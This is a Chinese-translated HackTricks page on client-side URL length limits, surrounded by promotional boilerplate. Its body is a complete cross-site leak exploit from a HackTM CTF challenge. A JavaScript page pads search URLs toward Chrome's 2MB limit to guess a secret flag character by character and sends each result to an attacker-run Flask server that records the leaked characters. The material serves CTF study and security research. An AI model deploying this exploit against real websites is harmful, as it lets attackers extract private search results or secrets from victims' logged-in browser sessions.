URL最大长度-客户端

从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！

您在网络安全公司工作吗？想要看到您的公司在HackTricks中做广告吗？或者想要访问PEASS的最新版本或下载PDF格式的HackTricks吗？请查看订阅计划！
发现PEASS家族，我们的独家NFTs
获取官方PEASS和HackTricks周边产品
加入 💬 Discord群组 或 电报群组 或关注我的Twitter 🐦@carlospolopm。
通过向hacktricks仓库（https://github.com/carlospolop/hacktricks）和 hacktricks-cloud仓库 提交PR来分享您的黑客技巧。

来自https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit

<html>
<body></body>
<script>
(async () => {

const curr = "http://secrets.wtl.pw/search?query=HackTM{"

const leak = async (char) => {

fetch("/?try=" + char)
let w = window.open(curr + char +  "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))

const check = async () => {
try {
w.origin
} catch {
fetch("/?nope=" + char)
return
}
setTimeout(check, 100)
}
check()
}

const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"

for (let i = 0; i < CHARSET.length; i++) {
leak(CHARSET[i])
await new Promise(resolve => setTimeout(resolve, 50))
}
})()
</script>
</html>

服务器端：

from flask import Flask, request

app = Flask(__name__)

CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []

@app.route('/', methods=['GET'])
def index():
global chars

nope = request.args.get('nope', '')
if nope:
chars.append(nope)

remaining = [c for c in CHARSET if c not in chars]

print("Remaining: {}".format(remaining))

return "OK"

@app.route('/exploit.html', methods=['GET'])
def exploit():
return open('exploit.html', 'r').read()

if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)

从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！

你在网络安全公司工作吗？想要看到你的公司在HackTricks中被宣传吗？或者想要获取PEASS的最新版本或下载PDF格式的HackTricks吗？查看订阅计划!
探索PEASS家族，我们独家的NFTs
获取官方PEASS & HackTricks周边
加入 💬 Discord群 或 电报群 或在Twitter上关注我 🐦@carlospolopm.
通过向hacktricks仓库 和 hacktricks-cloud仓库 提交PR来分享你的黑客技巧。

3.6 KiB Raw Blame History Unescape Escape

URL最大长度-客户端

3.6 KiB

Raw Blame History